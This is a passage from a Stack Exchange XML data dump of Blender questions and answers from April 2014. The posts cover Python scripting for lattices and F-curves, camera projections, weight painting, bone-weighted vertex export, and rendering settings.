saved the bad setup to your startup file you have a couple of options available.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; or &lt;kbd&gt;F1&lt;/kbd&gt; to open a blend file. This should make the main menu visible where you can load factory settings. If not select a blend file to open ensuring the Load UI option is turned on. This will load the window layout from the file that you open and should give you access to the main menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Worst case you may want to delete your startup.blend file to start from scratch. While there are three possible locations for the startup.blend you will most likely find it in the USER location. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;noreferrer&quot;&gt;This wiki page&lt;/a&gt; explains all three locations for each OS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-08T11:10:00.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8409" PostTypeId="1" AcceptedAnswerId="8420" CreationDate="2014-04-08T12:02:22.443" Score="2" ViewCount="1248" Body="&lt;p&gt;I've been trying to do that but have got some problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I was not able to retrieve the reference to a recently created object with &lt;code&gt;bpy.ops.object.add()&lt;/code&gt;.&lt;br&gt;I had to use &lt;code&gt;bpy.ops.lattice.select_all()&lt;/code&gt;, but that sounds inelegant.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While I was able to create a lattice for each object with &lt;code&gt;bpy.ops.object.modifier_add(type='LATTICE')&lt;/code&gt;, I was not able to link it - mostly because the command to link a lattice modifier to the lattice object won't show on the info window. (Also, this needs the object to be selected...)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to do it?&lt;/p&gt;&#xA;" OwnerUserId="3057" LastEditorUserId="1363" LastEditDate="2014-04-08T18:55:42.090" LastActivityDate="2020-07-16T12:57:35.867" Title="How to create a lattice and link all objects to it procedurally?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8410" PostTypeId="1" CreationDate="2014-04-08T12:35:29.533" Score="1" ViewCount="61" Body="&lt;p&gt;When using the Edge option on the renderer, it creates several-pixels wide borders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/01k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;on blender http://dl.dropboxusercontent.com/u/62862049/Screenshots/01k.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating pixel arts, though, it is fundamental never to have 2 black pixels in a row:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/01j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;somewhere else http://dl.dropboxusercontent.com/u/62862049/Screenshots/01j.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to achieve this effect on Blender?&lt;/p&gt;&#xA;" OwnerUserId="3057" LastActivityDate="2014-04-08T12:35:29.533" Title="How to create single-pixel wide edges?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-04-10T00:15:05.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="8411" PostTypeId="2" ParentId="8406" CreationDate="2014-04-08T12:36:29.813" Score="0" Body="&lt;h2&gt;&lt;strong&gt;Orthographic Camera Lens&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In Blender, there are many settings that influence the way the camera views the scene, and hence how the scene is rendered. You can see these settings by selecting the camera in your scene, then looking in the Object Properties windnow:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OS8KD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has three different Lenses cameras can use: Perspective, Orthographic, and Panoramic. The effect you are looking to achieve is called Orthographic projection/view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change a selected camera's Lens, do this:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the camera &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Object Properties window, click on the Camera tab:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ilz8M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this window, go to the Lens section and there you can select the Orthographic Lens:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ukhar.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, adjust the Orthographic Scale setting so your camera view includes everything you want it to:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eKAtE.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; In order to keep the current view in Camera view when you adjust the camera's view, make sure you have Lock Camera To View enabled properly: when Lock Camera to View is enabled, the view will stay in Camera view when you pan or rotate the view. Otherwise, when you rotate the view, Blender will leave Camera view and go back into User view. To enable Lock Camera to View:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) -&gt; View section -&gt; enable Lock Camera to View  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVG26.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can read more about the different Camera settings in the Blender Manual &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-08T12:36:29.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8412" PostTypeId="1" CreationDate="2014-04-08T13:11:36.830" Score="6" ViewCount="1216" Body="&lt;p&gt;I set up a basic scene with a fisheye camera aimed at a sphere, with another sphere vertically above the camera, and another to the right (all three at the same distance):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBV2n.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(Note: Need that top pulldown on &amp;quot;Cycles Render&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;Result is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/123bO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, I'm curious why the fisheye doesn't draw all three the same size. I was hoping it would fire rays out with an equal angle-gap.&lt;/p&gt;&#xA;&lt;p&gt;Imagine we have a 1000x1000 image, and we are just looking at the 1000 of pixels along the centre-line, so (0,500) to (1000,500)&lt;/p&gt;&#xA;&lt;p&gt;So I was hoping:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AngleBetween(pixel[1]-ray, pixel[2]-ray) == AngleBetween(pixel[501]-ray, pixel[502]-ray)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, clearly this is not the case.&lt;/p&gt;&#xA;&lt;p&gt;Why are the objects on the edge of the screen getting magnify-warped?&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to know what Blender is doing mathematically, without digging through the source code? (as far as I know, FishEye is a generic term for this type of warping, it is not an exactly defined projection...)&lt;/p&gt;&#xA;&lt;p&gt;Also, is there any way to prevent this?&lt;/p&gt;&#xA;&lt;p&gt;LINK: &lt;a href=&quot;https://blender.stackexchange.com/questions/8268/spherical-custom-projection-at-code-level&quot;&gt;Spherical / Custom projection at code level&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-08T23:13:45.273" Title="Understanding Fisheye" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8413" PostTypeId="1" CreationDate="2014-04-08T13:33:28.160" Score="4" ViewCount="1266" Body="&lt;p&gt;I need to allow the user to create their own transfer function &lt;code&gt;y = f(x)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I will then use this transfer function to warp the scene)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using a mathematical formula:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;y = exp( 1/(x^2 + 1) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't allow a (non-mathematical) artist to shape the curve, and it is awkward even for a mathematician to turn an arbitrary shape into a mathematical formula.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like the user to be able to draw the curve freehand, or maybe in the same manner as constructing curves in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, can I get away with using Blender's existing curve tool? Say I create a new scene, I suppose I can then create a curve that is constrained to the xy axis. But then how could I get &lt;code&gt;y = f(x)&lt;/code&gt; from a Python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, is there some 2D curve tool, that might allow the curve to be designed from within some panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution path I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1363" LastEditDate="2014-04-08T18:48:02.423" LastActivityDate="2014-04-08T22:56:41.243" Title="Create custom graph and access values from Python" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8415" PostTypeId="2" ParentId="8399" CreationDate="2014-04-08T14:29:10.597" Score="7" Body="&lt;p&gt;You can fix the resolution through the python API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;for obj in scene.objects:&#xA;    if obj.name == &quot;Text&quot;: # text object we want to fix&#xA;        obj.resolution = 8.0 # resolution is normaly 1.0 / 72 dpi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-04-08T14:29:10.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8416" PostTypeId="2" ParentId="8413" CreationDate="2014-04-08T14:53:00.450" Score="3" Body="&lt;p&gt;After a bit of investigation it seems you can't use &lt;code&gt;Graph Editor&lt;/code&gt; for &quot;standalone&quot; FCurves.&#xA;However, you can link them to any object and name them as you like. I used the default &lt;code&gt;Cube&lt;/code&gt; in example below, but it might be as well an empty mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below script uses &lt;code&gt;Cube&lt;/code&gt; as object that &quot;holds&quot; your curves within its &lt;code&gt;animation_data.action&lt;/code&gt;. It creates them if they do not exist, and if they exists current one is picked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;placeholder = bpy.context.scene.objects[&quot;Cube&quot;]&#xA;if not placeholder.animation_data:&#xA;    placeholder.animation_data_create()&#xA;if not placeholder.animation_data.action:&#xA;    placeholder.animation_data.action = bpy.data.actions.get(&quot;curves&quot;) or bpy.data.actions.new(&quot;curves&quot;)&#xA;action = placeholder.animation_data.action&#xA;&#xA;print(placeholder)&#xA;name = 'my_curve'&#xA;&#xA;fcurves = action.fcurves&#xA;for f in fcurves:&#xA;    if f.data_path == name:&#xA;        break&#xA;else:&#xA;    f = action.fcurves.new( name )&#xA;    f.select = True&#xA;    f.keyframe_points.insert( 0, 0 )&#xA;    f.keyframe_points.insert( 100, 10 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you have get to edit curve you can add points by duplicating existing ones using &lt;code&gt;shift-d&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8aDt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After shaping it you can use &lt;code&gt;FCurve.evaluate()&lt;/code&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.types.FCurve.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs - bpy.types.FCurve&lt;/a&gt;). For example like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(100):&#xA;    print(i, f.evaluate(i))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="1030" LastEditDate="2014-04-08T22:56:41.243" LastActivityDate="2014-04-08T22:56:41.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8417" PostTypeId="1" CreationDate="2014-04-08T16:10:30.970" Score="1" ViewCount="1098" Body="&lt;p&gt;I need to emulate the 3-button mouse and number pad, which requires accessing 'User Preferences.' But clicking on 'User Preferences' closes Blender immediately! Any answers?&lt;/p&gt;&#xA;" OwnerUserId="3068" LastActivityDate="2014-04-08T17:53:08.453" Title="How can I access 'User Preferences' when clicking on it closes Blender immediately?" Tags="&lt;customization&gt;" AnswerCount="0" CommentCount="15" ClosedDate="2014-04-08T18:32:39.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="8418" PostTypeId="1" AcceptedAnswerId="8426" CreationDate="2014-04-08T18:33:44.080" Score="5" ViewCount="1355" Body="&lt;p&gt;I'm having trouble with understanding vertex weight influence.&#xA;As you can see, I have the vertex group painted how I want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When binding the armature to the mesh, I used &lt;code&gt;Armature Deform &amp;gt; With Empty Groups&lt;/code&gt; and assigned the vertices to the groups. Then I did the weight painting manually. A vertex with any weight, 0.000 - 1.000, is influenced 100%. I don't like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fAlF.png&quot; alt=&quot;the piston in its default state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mOLga.png&quot; alt=&quot;the piston in an extended state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the vertex weight is being disregarded. It seems that a vertex with any weight on it at all is 100% influenced. (note: adding a VertexWeight Mod didn't help).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B6uX_XIClJ4OWkN6VTE4WEt6UE0/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lind to .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3069" LastEditorUserId="3069" LastEditDate="2014-04-08T19:08:18.000" LastActivityDate="2014-04-09T06:09:25.580" Title="Vertex Group Weight Influence" Tags="&lt;armature&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8419" PostTypeId="1" CreationDate="2014-04-08T18:49:42.970" Score="3" ViewCount="1228" Body="&lt;p&gt;The attached animated gif shows some frames of a video with a mesh box placed at each tracking marker used to successfully track (solution error &amp;lt;.4) an 800 frame chunk of video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is to illustrate just how poorly the camera tracker calculated: when the box is at a marker placed at the top of a faraway building on the left, it is actually visually much larger than when it is at the tracking marker closest to where the real camera was. I went to great lengths to be sure that the camera's sensor size and focal length are correct, and manually placed and followed all markers to be sure they were accurately tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not a lot of parallax motion over the 800 frames, but there should have been enough to at least know that the point closest to the camera moved more than the point furthest away. Sometimes it seems to work, sometimes it doesn't. Does anybody know how to improve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFsYQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="20" LastEditDate="2014-04-08T19:01:31.647" LastActivityDate="2019-05-24T19:17:04.950" Title="Why does camera this tracking fail completely even when the solution value is very low?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8420" PostTypeId="2" ParentId="8409" CreationDate="2014-04-08T19:04:12.730" Score="4" Body="&lt;p&gt;The proper way is to not use operators:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;lattice = bpy.data.lattices.new(&amp;quot;Lattice&amp;quot;)&#xA;lattice_ob = bpy.data.objects.new(&amp;quot;Lattice&amp;quot;, lattice)&#xA;lattice_ob.scale = (5, 5, 5)&#xA;&#xA;for ob in scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        mod = ob.modifiers.new(&amp;quot;Lattice&amp;quot;, 'LATTICE')&#xA;        mod.object = lattice_ob&#xA;&#xA;scene.objects.link(lattice_ob)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;.new()&lt;/code&gt; methods return object references to be used for subsequent method calls and property assignments in contrast to operators, which run isolated and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.ops.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;only return a status&lt;/a&gt; (e.g. &lt;code&gt;{'FINISHED'}&lt;/code&gt;). Some methods also take objects (the second parameter of &lt;code&gt;objects.new()&lt;/code&gt;), whereas operators don't support objects/pointers, but only references by name (StringProperty).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;//update:&lt;/strong&gt; For Blender 2.8 and above, I believe you would do it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;collection = bpy.context.collection&#xA;&#xA;lattice = bpy.data.lattices.new(&amp;quot;Lattice&amp;quot;)&#xA;lattice_ob = bpy.data.objects.new(&amp;quot;Lattice&amp;quot;, lattice)&#xA;lattice_ob.scale = (5, 5, 5)&#xA;&#xA;for ob in collection.objects:&#xA;    if ob.type == 'MESH':&#xA;        mod = ob.modifiers.new(&amp;quot;Lattice&amp;quot;, 'LATTICE')&#xA;        mod.object = lattice_ob&#xA;&#xA;collection.objects.link(lattice_ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2020-07-16T12:57:35.867" LastActivityDate="2020-07-16T12:57:35.867" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8421" PostTypeId="2" ParentId="2691" CreationDate="2014-04-08T20:19:16.630" Score="4" Body="&lt;p&gt;To reload a Blender Addon at the console type:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.wm.addon_enable(module='your_module_name')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: under-the-hood Blender uses Python's &lt;a href=&quot;https://docs.python.org/2/library/functions.html#reload&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;imp.reload&lt;/code&gt;&lt;/a&gt; to reload modules.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of its caveats is that the module dictionary will &lt;em&gt;not&lt;/em&gt; be replaced.  Since that is where module globals are stored, this can lead to surprises (if expecting a pristine module state after reload).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, restarting Blender semi-frequently is still a good idea even when using console reloading during development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;imp.reload&lt;/code&gt; behavior can also be used (with care) as a debug-enabling tool; for example, to &quot;persist&quot; a network socket across Addon reloads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    socket_that_survives_reloads&#xA;except NameError:&#xA;    socket_that_survives_reloads = None&#xA;&#xA;if not socket_that_survives_reloads:&#xA;    print(&quot;creating new socket connection&quot;)&#xA;    socket_that_survives_reloads = however_you_connect()&#xA;else:&#xA;    print(&quot;re-using existing socket connection&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3070" LastActivityDate="2014-04-08T20:19:16.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8422" PostTypeId="2" ParentId="6810" CreationDate="2014-04-08T20:28:44.403" Score="7" Body="&lt;p&gt;For orthographic rendering Blender &lt;strong&gt;can't&lt;/strong&gt; take a custom projection matrix, however you &lt;strong&gt;can&lt;/strong&gt; shear an orthographic projection to get the desired results.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an orthographic camera, with the camera set at an angle (45 degrees on the &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Z&lt;/code&gt; axis).&lt;/li&gt;&#xA;&lt;li&gt;In the render settings, set the &lt;strong&gt;Aspect X&lt;/strong&gt; to &lt;code&gt;sqrt(2)&lt;/code&gt;&lt;br&gt;&lt;em&gt;This will give something almost exactly what you're looking for, except that its rotated 45 degrees&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;To correct the rotation, use the compositors &lt;strong&gt;Distort -&gt; Transform&lt;/strong&gt; node.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0XP0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rotating the image will loose some accuracy, so you'll want to render larger, then scale down.&lt;/li&gt;&#xA;&lt;li&gt;in the compositor you can scale down by &lt;code&gt;1/sqrt(2)&lt;/code&gt; to avoid loosing the corners.&lt;/li&gt;&#xA;&lt;li&gt;Depth/Mist won't work as you might want, however its probably possible to use a gradient and offset the depth in the compositor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-05-08T19:02:15.480" LastActivityDate="2014-05-08T19:02:15.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8423" PostTypeId="1" CreationDate="2014-04-08T20:55:52.627" Score="1" ViewCount="189" Body="&lt;p&gt;I have seen many users on youtube advice to bake after sculpting high poly meshes to speed up the render time but since a normal map is just xyz encoded as rgb how is it different ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;are normal maps capable of keeping all the details from the high poly models?&#xA;do they have limitations like not being able to cast shadows?  &lt;/p&gt;&#xA;" OwnerDisplayName="user2816" LastEditorUserId="2217" LastEditDate="2014-07-29T00:28:38.997" LastActivityDate="2014-07-29T00:28:38.997" Title="pros and cons for converting to normal maps?" Tags="&lt;workflow&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8424" PostTypeId="2" ParentId="8412" CreationDate="2014-04-08T23:10:13.080" Score="2" Body="&lt;p&gt;The problem is that you're trying to map a hemisphere (the view) onto a plane (the rendered image). There is always going to be distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you're right, you might be able to choose what distortion you get. Have a look at the &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_map_projections&quot; rel=&quot;nofollow&quot;&gt;various projections used in geospatial software&lt;/a&gt;. If you want equal angles, perhaps one of the &lt;em&gt;equal area&lt;/em&gt; projections would suit you - although I suspect Blender's fisheye lens is already some kind of equal area projection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for implementing a different projection, you might be able to do it with an &lt;a href=&quot;http://www.openshading.com/&quot; rel=&quot;nofollow&quot;&gt;OSL shader&lt;/a&gt;, by placing a lens object in front of the camera.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2014-04-08T23:10:13.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8425" PostTypeId="1" CreationDate="2014-04-09T03:59:02.450" Score="1" ViewCount="386" Body="&lt;p&gt;I have modified the obj export script for all my needs so far but I am having trouble with the Math in regards to how I get a vertex's position before you apply multiple bone matrix's (with their weights).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get it working with 1 bone matrix (weight of 1) but not with multiple bones (max 3) with a total weight of 1 (eg 3 bones with 0.33333 weight each).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried many different combos but unable to find a working order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please point me to a source of how to export vertex's before bones and their weights are applied or what I have done wrong/need to do? (so the vertex shader does this during runtime)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code I am using for relevant parts if I have missed something you need let me know and I will add :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone Matrix exporting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;oArmature = OBJECT.find_armature()&#xA;oBones = oArmature.pose.bones&#xA;for oBone in oBones:&#xA;    BoneMatrix = EXPORT_GLOBAL_MATRIX * oArmature.matrix_world *  oBone.bone.matrix_local&#xA;    oBoneName2Matrix[oBone.name] = BoneMatrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vertex Exporting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#in the vertex loop&#xA;oVMatrix = mathutils.Matrix()&#xA;oVMatrix.zero()&#xA;for oWeight in oVWeights:&#xA;    oMatrix = oBoneName2Matrix[oWeight.sBoneName] #tried adding .inverted() as well&#xA;    oVMatrix += oMatrix * oWeight.fWeight&#xA;export = v.co * oVMatrix #tried adding .inverted() as well&#xA;#export = oVMatrix * v.co #tried adding .inverted() as well&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vertex Shader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout (location = 0) in vec3 Vertex_Position;&#xA;layout (location = 2) in uvec3 BoneID;&#xA;layout (location = 3) in vec3 Vertex_Weight;&#xA;uniform mat4 BoneMatrixs[10];&#xA;&#xA;mat4 TotalBones = mat4(0);&#xA;for(int i = 0; i &amp;lt; 3; ++i)&#xA;    TotalBones += (BoneMatrixs[BoneID[i]] * Vertex_Weight[i]);&#xA;&#xA;vec4 VertexPos_after_bones = TotalBones * vec4(Vertex_Position, 1.0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: i am wanting to transform the final vertex position in blender to its position before any of the 3 bone matrices are applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vertex shader pov: ((bonematrix[0] * boneweight[0]) + (bonematrix[1] * boneweight[1]) + (bonematrix[2] * boneweight[2])) * vertex_pos_before_bones&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need to know how to get from the final vertex pos in blender to vertex_pos_before_bones but i can't get the math to work.&lt;/p&gt;&#xA;" OwnerUserId="3072" LastEditorUserId="3072" LastEditDate="2014-04-09T07:19:50.920" LastActivityDate="2014-04-09T07:19:50.920" Title="How to export with python a vertex's position before bone weights are applied" Tags="&lt;python&gt;&lt;mesh&gt;&lt;export&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8426" PostTypeId="2" ParentId="8418" CreationDate="2014-04-09T06:09:25.580" Score="4" Body="&lt;p&gt;The location that you have the issue is the barrier between what gets moved and what doesn't. The mesh faces in this section can easily get stretched too much with the motion of the attached pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using a curve object for the hose instead of a mesh. By giving the curve a full fill and a bevel depth and increasing the resolution you get a nice round hose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uW5AI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate the hose you add a hook to one or more of the curve points. While in edit mode select one of the curve points and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; and select Hook to New Object. This will create an empty at the location of the curve point as well as add a hook constraint. in object mode when you move the empty the curve point will move with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X4xGg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of a curve in this scenario is it maintains the hose shape no matter how far you stretch the points from one another. Parenting the empty to your piston will keep the end of the hose in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while stretching the hose too far will create a noticeable distortion you may want to add more hooks to the next curve point and use a limit distance constraint so that the coiled hose picks up and follows the movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJJDK.gif&quot; alt=&quot;enter image 